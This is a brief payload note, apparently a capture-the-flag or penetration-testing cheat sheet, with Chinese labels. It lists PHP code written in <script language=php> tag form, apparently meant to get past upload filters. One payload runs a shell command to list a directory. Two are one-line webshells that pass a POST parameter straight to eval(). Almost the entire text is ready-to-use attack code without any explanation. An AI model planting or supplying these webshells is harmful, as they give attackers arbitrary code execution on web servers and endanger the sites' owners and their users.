显示 目录 <script language=php>system("ls")</script>
一句话 <script language=php>echo 'a'; eval($_POST['flag']);</script>
<script language="php">eval($_POST['flag']);</script>